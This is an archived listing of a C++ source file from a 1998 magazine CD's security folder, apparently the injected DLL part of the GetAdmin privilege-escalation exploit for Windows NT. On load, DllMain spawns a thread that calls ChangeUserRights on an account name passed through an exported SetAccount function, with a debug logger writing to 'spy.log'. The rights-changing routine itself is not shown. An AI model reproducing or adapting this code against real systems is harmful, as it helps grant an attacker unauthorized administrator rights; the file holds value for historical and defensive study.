home *** CD-ROM | disk | FTP | other *** search
/ Chip 1998 July / CHIP_CD_1998_07_PL.iso / SOFTWARE / bezpiecz / getadmin / GASys.cpp next >
Encoding:
C/C++ Source or Header  |  1997-07-08  |  1.4 KB  |  79 lines

  1. #include <windows.h>
  2.  
  3.  
  4.  
  5. HWND hWnd;
  6. HANDLE LogFile;
  7. HANDLE Thread;
  8. HANDLE hMod;
  9.  
  10.  
  11. char Account[255] = "";
  12.  
  13. extern "C"
  14. __declspec(dllexport) void SetAccount(char* Account)
  15. {
  16.     strcpy(::Account,Account);
  17. }
  18.  
  19. int ChangeUserRights(char *Account);
  20.  
  21. void LogA(LPSTR str)
  22. {
  23. #ifdef _DEBUG
  24.         
  25.         DWORD done;
  26.  
  27.         LogFile = CreateFile("d:\\spy.log",GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  28.  
  29.         SetFilePointer(
  30.                 LogFile,
  31.                 GetFileSize(LogFile,0),
  32.                 0,
  33.                 FILE_BEGIN
  34.     );
  35.  
  36.         WriteFile(LogFile,str,strlen(str),&done,0);
  37.         CloseHandle(LogFile);
  38. #endif  
  39. }
  40.  
  41.  
  42. DWORD WINAPI ThreadFunc(LPVOID lpThreadParameter)
  43. {
  44.         
  45.  
  46.         ChangeUserRights(Account);
  47.  
  48.         return 0;
  49. }
  50.  
  51.  
  52. BOOL  WINAPI  DllMain(HANDLE hInst,ULONG ul_reason_for_call,LPVOID lpReserved)
  53. {
  54.  DWORD id;
  55.  
  56.   switch(ul_reason_for_call){
  57.  
  58.   case DLL_THREAD_ATTACH:
  59. break;  
  60.  
  61.         case DLL_PROCESS_ATTACH:
  62.  
  63.                 Thread = CreateThread(0,0,ThreadFunc,0,0,&id);
  64.                 hMod = hInst;
  65.                 break;
  66.         
  67.  
  68.  
  69.         case DLL_PROCESS_DETACH:
  70.               if( WaitForSingleObject(Thread,3000) == WAIT_TIMEOUT)
  71.                       TerminateThread(Thread,(DWORD)-1);
  72.                 break;
  73.  
  74.         default: break;
  75.   }
  76.   return TRUE;
  77. }
  78.  
  79.